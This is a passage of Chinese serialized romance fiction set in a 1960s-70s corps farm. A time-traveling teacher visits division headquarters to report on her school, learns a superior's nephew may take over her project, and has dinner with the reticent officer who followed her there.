舒染心里有数了,见好就收。“那好吧。我这次去,可能还会跟孙处长讨论一下教材推广的事情,如果顺利,也许能给我们连队争取到更多铅笔和本子。”她把话题拉回工作,表明自己心心念念的依旧是事业。 果然,陈远疆的神色缓和下来,他看着舒染,“工作上,你尽管放手做。”他顿了顿,声音低沉了几分,“连队里有我。” 这六个字落在了舒染的心上。 “谢谢。”舒染这次的道谢。 陈远疆没再说什么,利落地翻身上马,缰绳一抖,枣红马便跑远了,陈远疆的身影很快融入暮色之中。 舒染站在小屋门口,直到那马蹄声彻底消失,才轻轻呼出一口气。她摸了摸有些发烫的脸颊,转身回屋,继续整理材料。 这次去师部,或许不仅仅是一次例行的述职。林雪舟的建议,陈远疆那句“连队里,有我”的承诺,还有孙处长之前流露出的对系统化教材的迫切需求……种种迹象都暗示着,变化的契机可能就在眼前。 她必须抓住。不是为了离开畜牧连,而是为了能站在一个更高的平台上,为启明小学,为这些孩子和妇女,也为她自己,争取更广阔的天地和更坚实的保障。 她看着桌上那盏跳动的煤油灯,眼神明亮而坚定。 第102章 去师部的路, 依旧是那条颠簸的土路。舒染坐在卡车后厢的物资堆上,她怀里抱着那个装满材料的帆布包裹,紧了陈远疆的军大衣, 还是被冷风吹得脸颊生疼。 路途漫长而枯燥。同车的还有机耕队去师部领配件的两个小伙子和后勤上去办事的老职工。小伙子们一开始还有些拘谨,后来见舒染没什么架子, 便天南海北地聊起来,从拖拉机的故障说到团部宣传队的演出,倒也驱散了些许枯燥。 “舒老师, 听说你们启明小学现在搞得可红火了?”一个小伙子问道,语气里带着敬佩,“连牧区的娃娃都来上学了?” “都是大家支持。”舒染谦虚地笑笑,“孩子们肯学, 比什么都强。” 老职工扶了扶眼镜, 插话道:“是啊, 教育是根本。舒老师不容易啊, 一个人撑起一个学校。这回你去师部, 可得好好跟领导说道说道, 多给咱们娃娃多批一点本子。” “我尽力。”舒染点头,心里却想, 她想要的,恐怕不止是本子。 聊了会天, 小伙子和老职工过着衣服闭目养神起来。舒染脑子里没闲着,反复推敲着等会儿见到孙处长要汇报的重点, 如何措辞才能既展现成绩, 又不显得骄傲,同时还能巧妙地提出目前面临的困难,比如资源的短缺。 卡车驶入师部所在地。舒染在招待所放下简单的行李, 仔细拍打掉身上的尘土,整理了一下被风吹乱的头发,便径直朝着师部教育科所在的红砖小楼走去。 比起畜牧连的土坯房和地窝子,师部俨然是另一个世界。整齐的砖瓦房,刷着标语的墙壁,偶尔驶过的吉普车,以及来往行人相对体面的衣着,都彰显着这里的层级。 舒染熟门熟路地先到教育科报到。干事小张见到她,比上次更加热络,立刻起身给她倒了杯热水。 “舒染同志来了!路上辛苦!孙处长正在里面跟人谈话,你稍坐一会儿。”小张压低声音,带着点神秘的笑意,“舒老师,你现在可是咱们师里的名人了,上次兵团工作会议回来,张副政委都点名表扬了!” 舒染接过水杯,道了谢,谦虚地笑了笑:“都是组织培养,领导指导,还有连队同志们一起努力的结果,我个人没什么。” “哎,你就别谦虚了!”小张摆摆手,凑近了些,声音压得更低,“我听说啊,林副政委对你搞的那个示范点,特别感兴趣!” 舒染心里一动,面上不动声色:“哦?是吗?那是领导关心。” “可不是嘛!”小张似乎很乐意分享这些消息,“林副政委管着全师的文化教育工作,你们畜牧连搞得这么有声有色,他脸上也有光啊!我听说……” 他看了看走廊方向,确认没人,才继续说,“他好像有意思想要把你们那个点,做成样板,重点推广呢!” 舒染用水杯暖着手,状似随意地问,“孙处长最近忙吗?” “忙!怎么不忙!”小张压低声音,“全兵团教育工作会议刚开完,各处都在抓典型、推经验呢!咱们师里,你们畜牧连的示范点可是挂了号的!”他语气里带着与有荣焉。 舒染心里稍稍安定,看来上级确实重视。 正说着,孙处长办公室的门开了,一个穿着中山装、戴着眼镜的中年干部走了出来,孙处长亲自送到门口,态度很是客气。 “杨科长慢走,教材修订的事情就按我们商量的办。”孙处长说道。 “放心,孙处长,我们印刷厂一定全力配合。”那位杨科长笑着点头,目光掠过坐在外面的舒染,微微颔首示意,然后离开了。 孙处长看到舒染带来的那一大包材料时,眼睛明显亮了一下。“舒染同志到了?快进来!” 舒染连忙跟着孙处长走进办公室。 “坐。”孙处长指了指对面的椅子,自己也在办公桌后坐下,“路上还顺利吧?” “顺利,谢谢处长关心。”舒染坐下,将怀里的帆布包放在腿上。 “材料都带来了?”孙处长目光落在包上。 “带来了。”舒染打开帆布包,将里面厚厚一摞材料双手递过去,“这是近期启明小学的教学总结,扫盲班的进展情况,还有我们尝试编写的一些实用教材初稿和林雪舟老师做的一份学情分析。” 孙处长接过材料,翻看起来。他看得很仔细,不时用手指点着某处,或者微微点头,眼中流露出明显的赞赏。 “好,很好!”孙处长放下最后一页,抬起头看着舒染,“舒染同志,你们的工作做得很扎实,很有创造性!尤其是这些结合生产生活的教材雏形,非常有价值!也符合大方向!” 得到直属领导的肯定,舒染心里踏实了不少。“处长过奖了,我们也是摸着石头过河,主要是想让学习和实际需求结合得更紧密些。” “这个方向完全正确!”孙处长肯定道,“我们现在急需的,就是这种能让群众真正感受到学习用处的教材和教学模式。你们畜牧连这个示范点,算是立住了!” 他站起身,在办公室里踱了两步:“我打算把你这些材料,加上林雪舟老师写的那份总结,一起整理出来,形成一个比较系统的报告,争取在师里先推广,甚至报到兵团去!” 舒染心中狂喜,她压住激动,表态道:“谢谢处长!我们一定继续努力,把示范点的工作做得更扎实!” “嗯,”孙处长满意地点点头,随即话锋微转,语气变得有些意味深长,“不过,小舒啊,示范点的工作要深入,要出更多可复制的经验,光靠你一个人埋头苦干也不行。眼界要放宽,格局要打开。” 舒染敏锐地捕捉到了什么,但她面上不动声色,只是认真听着。 “你呢,是块好材料,有想法,肯吃苦,群众基础也打得不错。”孙处长看着她,“但毕竟还年轻,基层经验需要沉淀,也需要从更高层面去思考问题。林雪舟同志嘛,虽说你和他一样都是科班出身,但他根正苗红,视野可能更开阔一些……” 他没有把话说完,但舒染已经听出了弦外之音。孙处长似乎在暗示,示范点的工作需要“更开阔的视野”,而林雪舟的出身成了优势。 “处长的意思是……”舒染试探着问。 “哦,没什么具体意思,就是跟你聊聊。”孙处长打了个哈哈,重新坐回椅子上,“这样,你这两天就先留在师部,配合科里的同志,一起把这些材料梳理、提炼一下,争取在你回去之前,拿出一个初步的框架来。后续具体的编写和修订,可能还需要你经常过来。” “好的,处长。”舒染压下心中的疑虑,起身告辞。 她按照指示,找到教育科负责具体业务的李干事,开始投入紧张的材料整理工作。 师部的条件确实好很多,有相对充足的纸张和墨水,还有打字机。舒染和李干事,以及另外一位被临时抽调来的女干事,三人伏案工作,将舒染带来的那些零散却鲜活的内容,分门别类,去粗取精,试图构建出一个清晰的体系。 工作间隙,舒染去开水房打水,正好遇到了也来打水的杨振华。杨振华如今在宣传科干得风生水起,见到舒染,很是高兴。 “舒染!听说你来了,正想忙完手头的事去找你呢!”杨振华帮她拧开水龙头,“怎么样?这次过来是述职?” “杨干事。”舒染笑着打招呼。 “咱们认识这么久了,也这么熟络了,所以别这么客气,叫我振华就行。”杨振华笑着打量她,“刚从孙处长那儿出来?听说你们畜牧连示范点搞得风生水起,孙处长没少在会上表扬。” “嗯,孙处长让我留下来帮忙整理教材材料。”舒染接满水,盖上壶盖。 “教材?是你们畜牧连那套吧?”杨振华消息很灵通,“这可是大事!林副政委亲自抓的样板工程。” 舒染笑了笑,没接话,心里却琢磨着“样板工程”这个词的分量。 杨振华左右看看,压低了些声音:“走,去我办公室坐坐。正好,我也有点事想跟你说。” 到了杨振华的办公室,他给舒染倒了杯热茶,关上门,脸上的笑容收敛了些,带着点严肃。 舒染心里一紧,面上依旧平静:“杨干事,有什么事你直说。” 杨振华犹豫了一下,还是开口道:“舒染,你这次来,孙处长是不是跟你谈了示范点后续发展的问题?” 舒染心里一动,点了点头:“处长说,眼界要放宽,格局要打开。” 杨振华叹了口气:“我就知道。这话啊,我听着也耳熟。” “杨干事,你是不是听到了什么?”舒染直接问道。 杨振华犹豫了一下,似乎在斟酌用词:“舒染,咱们认识也不是一天两天了,我跟你说点实在的。你们示范点现在做出了成绩,成了典型,这就好比一棵树结了果子,盯着的人就多了。” 他顿了顿,声音压得更低:“林副政委……前几天来教育科调研,特意问起了示范点的情况,尤其详细了解了林雪舟老师的工作。话里话外,对这个侄子能在基层踏实工作、发挥专业特长,很是欣慰。也提到了,典型要树得住,立得稳,后续的总结提炼和提升很重要,需要……需要更有理论高度和前瞻性视野的人才来把握方向。” 舒染的心慢慢沉了下去。杨振华的话和她从孙处长那里听到的隐约暗示拼凑在一起,形成了一个逐渐清晰的轮廓——林副政委希望他的侄子林雪舟,能在示范点这个已经打下基础的果实上,发挥更主导的作用,或者说,摘取更大的那份功劳。 也许这并非出于恶意,甚至可能在他看来,这是对工作的重视和对侄子的培养。但在舒染这里,这无异于要动摇她在这个项目上最核心的地位和话语权。 她辛辛苦苦,从无到有,在盐碱地上把启明小学和扫盲班一点点建立起来,摸索出这套行之有效的办法,现在,就因为林雪舟,就要拱手相让了? 她没有让任何失态的情绪流露出来。 杨振华看着舒染瞬间苍白又迅速恢复镇定的脸,心里也有些不是滋味,劝道:“舒染,你也别太往心里去。这事估计还在酝酿阶段,孙处长那边态度也还有点模糊。毕竟,你的能力和贡献,大家有目共睹。只是……有时候,事情不单单是能力和贡献那么简单。” 舒染端起茶喝了一口,苦涩的滋味从舌尖蔓延到心里。她放下茶杯,抬起头,脸上已经看不出什么波澜。 “杨干事,谢谢你告诉我这些。”她的声音平静得出奇,“我知道了。” 杨振华看着她这副样子,反而更担心了:“你……有什么打算?” 打算?舒染看着窗外师部大院,心里飞快地盘算着。硬顶?肯定不行,那是螳臂当车。拱手相让?她不甘心。而且,她比谁都清楚,脱离了畜牧连那片土壤和她那套办法,林雪舟的那套理论高度能发挥多大作用,还是个未知数。 她必须想办法破局。 “我没什么打算。”舒染站起身,对杨振华笑了笑,“该汇报的工作汇报,该争取的支持争取。做好我分内的事就行了。” 她不能自乱阵脚,更不能在师部流露出任何不满或抗拒的情绪。现在最重要的,是冷静,是收集更多信息,是找到那个既能保全自己、又能保住成果的平衡点。 杨振华又安慰道:“你也别太担心,这都是传闻,未必是真的。再说了,畜牧连那个摊子,离了你,别人未必能玩得转。孙处长还是很看重你的。” 他像是想起什么,语气轻松了些,“对了,上次给你的电影票,后来也没看成。正好,师部礼堂今晚放新片子,我这儿又弄到两张票,一起去看?也算放松一下,这段时间你也够累的。” 第103章 电影票?舒染愣了一下, 才想起好像是有这么回事,很久以前杨振华是提过一嘴,但当时她被陈远疆找了个借口叫走了。此刻他旧事重提, 在这个节骨眼上,邀请的意味似乎比上次更明确了些。 若是平时, 舒染或许会委婉拒绝,或者出于礼节应付一下。但此刻,杨振华透露消息的举动, 让她不得不多了几分权衡。 她需要信息,需要了解师部上层的动向。杨振华无疑是一个信息渠道。而且,不能在这个时候得罪他,甚至……或许可以适当维持一种友善的关系?这无关感情, 只是一种处境下的社交策略。 舒染迅速权衡利弊, 脸上露出、略带歉意的笑容:“杨干事, 谢谢你还记得。只是……孙处长交代的任务很急, 今晚恐怕要加班梳理材料。电影……这次可能又看不成了, 实在不好意思。” 她拒绝了, 但理由充分,态度诚恳, 给彼此都留了体面的台阶。 杨振华眼中闪过一丝失望,但很快掩饰过去, 理解地点点头:“工作要紧,工作要紧。那就下次, 下次有机会再说。” “好, 下次有机会再说。”舒染从善如流,随即自然地转移了话题,语气带着一丝探询, “杨干事,你在宣传科,消息灵通。关于示范点后续……林副政委那边,除了刚才说的,还有没有更具体的风声?比如……时间上,或者人选上?” 杨振华看她主动问起,沉吟了一下,低声道:“具体时间还不清楚,但估计也就是这一两个月内的事。唉,这些话你听过就算,未必作准。”他适时止住,显得很谨慎。 “我明白,谢谢杨干事。”舒染得到了更具体的信息,心里更沉了一分。她再次道谢离开了。 回到那间临时办公的小会议室,李干事和那位女干事还在热烈地讨论着教材的章节划分。看到舒染回来,李干事招呼她:“舒染同志,快来看,我们觉得这个牧区实用词汇部分,可以再细化一下……” 舒染走过去,看着桌上铺开的凝聚了她心血的材料,那些熟悉的字句,那些生动的图画,此刻却刺得她眼睛生疼。 她努力集中精神,参与到讨论中,但脑子里却一片混乱。杨振华的话在脑海反复回响。 她想起畜牧连那间教室,想起孩子们渴求知识的眼神,想起王大姐、李秀兰那些妇女们从排斥到信任的转变,想起阿迪力终于开口认字时的笨拙与认真,想起陈远疆…… 这一切,难道就要这样拱手让人? 就因为她成分不好?因为她没有背景?因为她只是个特约调研员,而非师里正式编制的干部? 一股不甘从心底涌起。她舒染从二十一世纪穿越而来,不是为了在这个时代忍气吞声、为人作嫁的!她有自己的事业追求,有想要守护的人和成果,更有现代灵魂里的清醒利己。 她深吸一口气,现在不是慌乱的时候,更不能在师部露出任何端倪。消息还只是传闻,未必成真。就算成真,她也绝不会坐以待毙。 她重新拿起笔,目光落在材料上。她开始更积极地参与到讨论中,不仅提出建议,更有意识地强调某些工作细节的复杂性和不可替代性,比如与牧区群众的沟通技巧、扫盲班妇女心理的把握、以及那些看似土办法背后蕴含的实践智慧。 她在不动声色地铺垫,在孙处长和其他干事心中,加深自己与示范点深度绑定的印象。 接下来的半天,舒染工作得比任何时候都投入专注。她侃侃而谈,条理清晰,展现出的对基层工作的透彻理解和解决实际问题的能力,让李干事二人频频点头。 傍晚,工作暂告一段落。舒染婉拒了李干事一起去食堂的邀请,说自己想再整理一下思路。 独自一人走在师部略显清冷的院子里,晚风带着寒意。舒染裹紧了大衣,抬头看着师部办公楼那几个亮着灯的窗户,其中一扇,就是孙处长的办公室。 她不能退缩,也不能蛮干。她需要好好想一想,接下来该怎么办。是去找孙处长探探口风?还是按兵不动,静观其变?或者……另辟蹊径? 她想起陈远疆。如果他在,他会怎么做?但这件事,涉及上层,恐怕不是陈远疆一个师部特派员能轻易干预的。 她慢慢踱步,脑子里飞速运转着各种可能性,权衡着利弊。必须想一个万全之策,既能保住自己的劳动果实,又能不得罪林副政委那样的实权人物。 就在这时,她看到孙处长和一个气质儒雅的中年男人并肩从办公楼里走出来,两人边走边谈,态度颇为熟稔。那个中年男人,舒染认得,正是她在林副政委考察启明小学时,有过一面之缘的林副政委本人。 孙处长脸上带着笑容,正说着什么。林副政委微微颔首,目光随意扫过院子,恰好与站在不远处的舒染对了个正着。 舒染心里猛地一跳,几乎是下意识地露出一个带着尊敬又不卑不亢的笑容。 林副政委的目光在她身上停留了大约两秒钟,那眼神看不出什么情绪。然后,他像是没看见一样,自然地转回头,继续和孙处长说着话,两人朝着家属院的方向走去。 舒染站在原地,看着两人远去的背影,她不知道林副政委是否认出了她,也不知道他对自己这个示范点创始人究竟是何看法。 但有一点她很清楚,她必须尽快做出决断。 她转身,朝着招待所的方向走去。 师部的夜晚比畜牧连安静得多,少了些带着沙尘的风,也缺了远处隐约传来的犬吠羊咩。但这种安静,反而让舒染心里更不踏实。 她躺在招待所的床上,盯着天花板,脑子里反复回放着白天的一幕幕:孙处长看似赞赏却带着保留的眼神,杨振华透露的消息,还有林副政委那看不出情绪的一瞥。 “林雪舟主导方向……”舒染翻了个身,把脸埋进枕头里。她不是不能接受合作,甚至不介意分享功劳,但她绝不能接受自己一手创办、倾注了无数心血的启明小学和扫盲工作,被人轻易拿走果实,更何况是以“把握方向”为名,行鸠占鹊巢之实。 她来自二十一世纪,深知话语权和主导权的重要性。在这个年代,成分和背景如同无形的枷锁,但她偏要试试,能不能用能力和实绩,撬开一道缝隙。 “不能坐以待毙。”舒染坐起身,眼神在昏暗的光线下显得格外清亮。 接下来的两天,她几乎泡在了那间临时办公的小会议室。她没再主动去打探消息,而是将全部精力投入到教材的整理和编写中。她比之前更细致,更严谨,不仅完善了原有的实用扫盲部分,还根据在师部家属工厂和直属学校的见闻,补充了更具普适性的教学案例和方法总结。 她在材料中强化了自己作为实践者和探索者的角色。在描述某个教学方法时,她会详细写出最初面临的困难、尝试的过程、孩子们的反馈,以及最终如何调整成型。 她想告诉所有看到这份材料的人:这些东西,源于最基层的实践,浸透着独一无二的经验,绝非一个空降的理论家能够轻易理解和复制的。 李干事和那位姓赵的女干事对她的工作态度赞不绝口。 “舒染同志,你这个的法子真是太妙了!简单明了,家属们一看就懂。”李干事指着一段内容,由衷地说。 “主要是大家有需求,学起来就有动力。”舒染谦逊地笑笑,顺势说道,“其实基层很多方法都是被逼出来的,条件有限,就只能琢磨怎么用最少的资源,达到最好的效果。这里面很多细节,比如怎么跟那些一开始抵触的大人沟通,怎么让牧区的孩子对汉字产生兴趣,都需要慢慢摸索,急不来。” 她的话听起来像是在感慨工作的不易,实则是在不动声色地强调自己工作的不可替代性。 赵干事点头附和:“是啊,纸上谈兵容易,真正落地难。舒染同志你在下面,确实不容易。” 舒染知道,这些话或多或少会传到孙处长耳朵里。她要的,就是在领导心里种下一个印象:舒染,是不可或缺的实践核心。 这天下午,材料的主体部分终于初步定稿。孙处长召集几人开了个小会,肯定了进度,并让舒染准备一下,后天在教育科内部做个简要汇报,分享一下基层工作的心得。 这将是一个展示和巩固自身价值的机会。舒染一口答应下来。 散会后,她独自留在会议室,整理着散乱的稿纸。窗外传来人们下班的动静,师部大院渐渐喧闹起来。 她揉了揉发涩的眼睛,准备去食堂吃点东西,然后回来继续准备汇报提纲。 刚走出办公楼,就听到一个略带惊喜的声音:“舒染?” 舒染回头,看到杨振华推着自行车站在不远处,脸上带着笑意。 “杨干事。”舒染停下脚步。 “刚下班?工作进展还顺利吗?”杨振华推着车走过来,很自然地与她并肩而行。 “还行,材料差不多了,孙处长让我后天做个汇报。” “那是好事啊!正好让科里其他同志都学习学习。”杨振华笑道,随即压低了些声音,“对了,你听说了吗?林雪舟这两天可能也要来师部一趟。” 舒染心头一凛,面色不变:“哦?林老师来是……” “说是汇报他那个‘提高组’的教学成果,顺便交流一下系统化教学的经验。”杨振华看着她,“看来,林副政委那边,动作挺快的。” 舒染面上淡淡一笑:“互相学习是好事。林老师在理论方面确实有他的长处。” 见她反应平静,杨振华有些意外,随即又道:“舒染,你……真的一点都不担心?” “哎,”舒染停下脚步,叹了口气:“我能做的,就是把分内工作做到最好。至于其他的,组织上自有安排。” 杨振华看着她沉静的面容,路灯初上,在她眼中映出细碎的光。他忽然觉得这个女知青,身上有一种他接触过的很多女同志都没有的东西。 “你说得对。”杨振华点点头,“我相信组织会看到真正做事的人。” 两人走到食堂门口,里面人声鼎沸。杨振华犹豫了一下,还是开口道:“一起吃个饭?正好聊聊你后天汇报的事,也许我能提供点建议。” 舒染正要回答,眼角的余光却瞥见食堂旁边那排白杨树下,站着一个熟悉的身影。 即使在略显昏暗的光线下,那轮廓让舒染一眼就能认出来。 陈远疆?—— 作者有话说:悄咪咪推一推下一本要开的预收文:《我为祖国采石油[六零]》[让我康康] 第104章 舒染几乎以为自己眼花了。他怎么会在这里?畜牧连离师部有大半天车程, 他…… 树下的人也看到了她,迈步走了过来,风尘仆仆。 他的目光先是落在舒染脸上, 随即,像是无意般扫过她身旁的杨振华。 那眼神很平静, 却让周围的空气似乎都凝滞了几分。 “陈特派员?”舒染是真的惊讶了,“你怎么来了?” 陈远疆走到她面前,距离保持得恰到好处。 “杨干事。”他没有立刻回答舒染的问题, 而是先朝杨振华微微颔首,算是打过招呼。 “陈特派员?真是稀客。”杨振华也颇为意外,脸上挂着客气的笑,“来师部开会?” “嗯。处理点公事。”陈远疆言简意赅, 他的目光重新回到舒染身上, 像是解释, 又像是陈述, “刚到。听说你在这里。” 这话说得没头没尾, 但舒染听懂了。他是到了师部, 打听到她在食堂这边,就找过来了。 可是……“听说”?听谁说?他一来就打听她的行踪? 舒染心里划过一丝异样, 还没来得及细想,就听陈远疆又道:“还没吃饭?” “正要去。”舒染下意识地回答。 “一起?”陈远疆这话是看着舒染说的, 语气平淡,却带着一种不容置疑的自然。仿佛他从畜牧连赶过来, 就是为了和她一起吃这顿晚饭。 杨振华脸上的笑容有些挂不住了。他看看陈远疆, 又看看舒染,察觉到这两人之间有种他无法介入的默契。 他识趣地笑了笑:“那……舒染同志,陈特派员, 你们聊,我就不打扰了。汇报的事,回头再说。” 说完,他推着自行车离开了。 看着杨振华消失在食堂门口,舒染才转回头,看向陈远疆,挑了挑眉:“陈特派员,你这公事,办得挺突然啊?” 陈远疆避开她探究的目光,抬手拍了拍身上并不存在的灰尘,语气依旧平淡:“师部保卫处临时有个会议。顺路过来看看。” “顺路?”舒染差点笑出来,从师部大门到食堂,可一点也不顺路。她看着他紧绷的侧脸,那双总是审查一切的眼睛,此刻却微微垂着,盯着地面。 一个猜测忽然冒了出来——他该不会是……听说了杨振华邀约的事,特意跑来的吧? 这个念头让舒染故意板起脸:“哦,开会啊。那陈特派员快去忙吧,别耽误了正事。” 陈远疆终于抬起眼,看向她。 他沉默了几秒,才开口,声音低沉:“会开完了。吃饭。” 说完,也不等舒染回应,径直转身朝食堂走去。那背影依旧挺直,却透着一股“反正我跟定你了”的执拗。 舒染看着他的背影,终于忍不住笑了起来。 看来,这师部的水,比她想象的还要深。而眼前这个男人心里藏着的,或许比她以为的还要多。 她快走几步,跟了上去,与他并肩走入喧闹的食堂。 “陈干事,”她声音不大,带着一丝不易察觉的调侃,“你该不会是怕我在师部被人欺负了吧?” 陈远疆脚步未停,目视前方,喉结似乎滚动了一下。过了好一会儿,就在舒染以为他不会回答的时候,她听到他极轻地“嗯”了一声。 那声音混在食堂的嘈杂里,几乎微不可闻。 但舒染听到了。 她的心像是被什么东西轻轻撞了一下,酸酸软软的。 食堂里人声鼎沸,混杂着饭菜香和嘈杂的谈笑。打饭窗口排着不长不短的队伍,大多是师部各科室的干事和工作人员,衣着体面,神态也比连队职工多了几分闲适。 陈远疆和舒染的出现,引来了一些若有若无的打量。陈远疆这身冷硬的气质,在师部显得有些格格不入。 而舒染,虽然穿着朴素,但清秀的容貌和沉静的气质,也让人忍不住多看两眼。 两人默默地排在队伍末尾。 “想吃什么?”陈远疆忽然开口,声音不高,淹没在周遭的嘈杂里,但舒染听清了。 她有些诧异地看了他一眼。这在后世寻常不过的一句询问,在这个年代,尤其是出自陈远疆之口,显得格外突兀,甚至带上了点不合时宜的……亲密。 “都行。”舒染垂下眼,看着自己磨得起毛的袖口,心里那点异样感又浮了上来。 陈远疆没再说话。轮到他们时,他上前一步,对着窗口里的师傅说道:“一份土豆丝,一份白菜粉条。四个窝头。”他顿了顿,目光扫过旁边盆里所剩不多的红烧肉罐头,补充道,“再加一份红烧肉。” 那红烧肉是稀罕物,油光锃亮,价格不便宜。舒染下意识想开口说不要,但陈远疆已经利落地付了钱和粮票。 他端着堆得满满的铝制饭盒,找了个靠墙的角落位置坐下。舒染跟过去,坐在他对面。 小小的方桌,距离瞬间被拉近。她能清晰地看到他军装领口磨出的毛边,看到他挺直鼻梁上被风吹出的细微裂口。 陈远疆将那份油汪汪的红烧肉推到舒染面前,自己则夹了一筷子寡淡的土豆丝,就着窝头,沉默地吃了起来。他的吃相不算文雅,却很有种效率,仿佛吃饭也只是一项需要完成的任务。 舒染看着眼前那份红烧肉,又看看他。他低着头,浓密的睫毛遮住了眼底的情绪,浑身上下透着一如既往的克制。 她拿起窝头掰开,夹了一小块红烧肉进去。肥瘦相间的肉块在窝头衬托下显得格外诱人。她咬了一口,久违的肉香在口腔里弥漫开。在这个物资匮乏的年代,这几乎是奢侈的享受。 “连里……一切都好?”舒染咽下口中的食物,找了个安全的话题。她没问他来开什么会,她知道,他若不想说,问了也是白问。 “嗯。”陈远疆应了一声,头也没抬,“孩子们问你什么时候回去。” 很简单的一句话,却让舒染的心软了一下。她想象孩子们趴在教室门口张望的样子。 “快了,材料弄完,做个汇报就回去。”她说。 陈远疆顿了顿,终于抬起眼,目光在她脸上停留了一瞬,很快又落回饭盒里:“遇到麻烦了?” 他问得直接,舒染一时不知该如何回答。她能怎么说?说可能被人摘桃子?说领导可能想把她调走?这些都只是她的猜测,没有实证。 “没什么,就是工作上的事。”她含糊道,低头喝了口白菜汤。 陈远疆不再追问,空气中弥漫着一种微妙的沉默。不同于之前的尴尬,这种沉默里,似乎流淌着某种无需言说的东西。 周围的喧闹成了背景音,将他们这个小角落隔绝开来。 舒染偷偷抬眼看他,他正专注地挑着粉条。 “杨干事……”陈远疆忽然开口,声音比刚才更低沉了些,“人怎么样?” 舒染心里坠了一下,果然。 她抬起眼,正好对上他看过来的目光。 舒染放下筷子,拿起手边的军用水壶——是陈远疆刚才递给她的那个,拧开,喝了一口水。动作不紧不慢,心里却在快速盘算。 她看着陈远疆,嘴角弯起一个极浅的弧度,带着点狡黠:“杨干事?人挺热心的,消息也灵通。怎么了,陈特派员对他感兴趣?” 她故意把问题抛了回去,想看看他的反应。 陈远疆的眉头皱了一下,随即松开。他避开她的视线,用筷子拨弄着饭盒里的白菜:“随口问问。” “哦——”舒染拖长了声音,身体稍稍前倾,压低了声音,像分享一个秘密,“他还请我看电影来看。” 这话一出,她看到陈远疆的眼神冷了一下,他脸上的表情依旧没什么变化。 他没说话,空气仿佛凝固了。 舒染心里那股莫名的情绪又开始涌动,带着点恶作剧得逞的快意,又夹杂着说不清道不明的期待。 她等着他的反应。 过了好几秒,陈远疆才重新拿起窝头咬了一大口,咀嚼的动作显得有些用力。他咽下食物,目光落在桌面的某一点,声音硬邦邦的:“师部……人际关系复杂。你一个人,多留个心眼。” 咦?他没评论杨振华,也没有对电影邀约发表任何看法。只是这样一句干巴巴的长辈式叮嘱。 舒染琢磨着,听出了别的味道。那是一种不便明言的关切,甚至……可能是一点酸意? 她忽然就不想再试探下去了。有些东西,点到即止,彼此心照不宣,反而更有韵味。 “我知道。”舒染收敛了玩笑的神色,认真地点点头,“谢谢。” 这句谢谢,含义模糊。谢他的提醒?还是谢他这份别扭的关心?或许都有。 陈远疆似乎松了口气,紧绷的肩膀不动声色地放松下来。 两人不再说话,默默地吃完了这顿饭。期间有认识陈远疆的保卫处干部过来打招呼,好奇地看了舒染几眼,陈远疆也只简单介绍是“畜牧连的舒染同志”,便再无多话。 吃完饭,陈远疆利落地收拾好两人的饭盒。他站起身,目光落在舒染脸上。 “走吧。” 舒染愣了一下,“……去哪?” “送你回招待所。”陈远疆说得理所当然,仿佛这是天经地义的事情。他抬手自然地接过舒染手里那个军用水壶,挎在自己肩上。“晚上路黑。”他解释了完他所有的行为,并给出了解决方案。 舒染没再说什么,默默站起身,跟在他身旁。 两人一前一后走出食堂。晚风吹来,走在前面的陈远疆侧头瞥了她一眼,脚步放缓了些,恰好挡在了风吹来的方向。 师部的路灯间隔有些远,周围偶尔有下班的人走过,看到并肩而行的他们,投来或好奇或了然的目光。 脚步声在安静的路上显得格外清晰,他的,和她的。 舒染偷偷侧目看他。他走路的姿势永远那么挺直,肩背宽阔。他的侧脸在明明灭灭的光影里,线条显得柔和了许多。 “汇报准备得怎么样了?”陈远疆忽然开口,打破了沉默。他没看她,目光看着前方的路。 “差不多了。”舒染回答,“就是把我们在畜牧连做的那些事,挑重点说说。” “嗯。”陈远疆应了一声,停顿了几秒,像是在斟酌词句,“实话实说就行。你做的工作,大家都看得见。” “我知道。”舒染轻声说,心里安定不少。 又走了一段,招待所的轮廓已经能看见了。陈远疆的脚步慢了下来。 “林雪舟……”他再次开口,这个名字让他语气里带上了一丝的审慎,“他伯父林副政委,为人还算正派,看重实绩。” 舒染心头一动。他这是在给她提供信息,帮她分析形势。他果然知道些什么。 “所以,关键还是看你能拿得出的东西是不是够实,”舒染接话道,心里渐渐明晰。 “嗯。”陈远疆赞许地看了她一眼,那眼神很快又移开,仿佛只是无意的一瞥。 已经到了招待所门口。灯光下,他的面容清晰起来,眉宇间带着一丝疲惫,但眼神依旧锐利。 “就送到这吧。”舒染停下脚步,“谢谢你送我回来。” 陈远疆站在她面前,两人之间隔着一臂的距离,不远不近。他的目光沉静地落在她脸上。 “早点休息。”他最终只说了这四个字,然后将肩上的水壶取下,递还给她。“这个你留着,师部打热水方便。” “好。”舒染接过来,点点头。 陈远疆看了她一眼,然后转身离去。 舒染站在招待所门口,看着他的身影消失,直到再也看不见。她摩挲着手中那个水壶走进招待所。 第105章 师部招待所的房间里, 灯光昏黄。舒染坐在靠窗的小桌前,面前摊开着整理好的汇报提纲和厚厚一叠手写材料。 窗外的白杨树在秋风中沙沙作响,偶尔传来几声远处卡车的鸣笛, 陈远疆的水壶就放在桌角。 舒染的笔尖在纸上轻轻点着,却没有写下新的内容。 陈远疆的到来, 在她心里漾开一圈圈涟漪。他那句几乎听不清的“嗯”,他刻意挡风的动作,他生硬的陪伴和叮嘱, 还有林副政委那看不出深浅的一瞥……这些细节反复在她脑海里回放。 她不是不谙世事的小姑娘,来自二十一世纪的灵魂让她的感知更为敏锐。 她很清楚,在这个强调集体和服从的年代,单纯地展示成绩、诉说辛苦是远远不够的。领导们需要看到的是“服从安排”, 是“大局观”, 甚至是一些心照不宣的默契。 林雪舟的到来, 和他背后可能存在的推力, 就是一种默契。 直接对抗?那是最愚蠢的做法。不仅会得罪林副政委, 很有可能会给她扣上骄傲自满、不顾大局的帽子。 那么, 该如何破局? “麻烦……”舒染放下笔,揉了揉眉心, 低声自语。在这个成分论、出身论的年代,个人情感必须让位于现实生存。更何况, 陈远疆身份特殊,背景成谜, 与林副政委似乎也有旧谊。和他牵扯过深, 是福是祸,难以预料。 但心底深处,又有一丝难以言喻的悸动。在这个举目无亲的异时空, 有一个人,会因为听说另一个男人请她看电影,就不声不响地从偏远的连队赶到师部,用他那套别扭的方式宣示存在,提供支持。这种感觉,并不坏。 然而,眼下绝不是沉溺于儿女情长的时候。杨振华透露的消息像一把悬在头顶的剑。林副政委有意让林雪舟主导示范点,这意味着她辛苦开创的局面可能为人作嫁。孙处长的态度暧昧,既有赏识,也可能基于更复杂的考量。 她必须抓住后天的汇报机会。 